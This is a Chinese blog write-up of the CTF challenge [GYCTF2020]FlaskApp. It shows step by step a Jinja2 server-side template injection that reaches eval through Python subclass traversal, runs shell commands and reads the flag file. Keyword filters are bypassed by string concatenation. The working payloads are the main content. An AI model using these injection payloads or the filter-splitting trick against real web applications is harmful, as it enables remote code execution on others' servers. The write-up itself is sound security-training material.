[GYCTF2020]FlaskApp-CSDN博客

本文链接：https://blog.csdn.net/plant1234/article/details/125106155

本文详细介绍了如何针对一个Flask应用程序进行Server-Side Template Injection（SSTI）攻击，并展示了如何在遇到过滤机制时构造payload进行绕过。通过payload的不断修改，最终成功执行了命令并获取到了flag。

摘要由CSDN通过智能技术生成

[GYCTF2020]FlaskApp

打开题目得到：

在这里插入图片描述

查看提示得到：

在这里插入图片描述

有解密界面进入发现可以ssti注入：

在这里插入图片描述

直接上playload发现有过滤：

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

在这里插入图片描述
得到：

在这里插入图片描述

经过测试发现：过滤了os,eval,import,popen,flag

绕过：

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

得到：

在这里插入图片描述
获取flag:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl"+"ag.txt").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}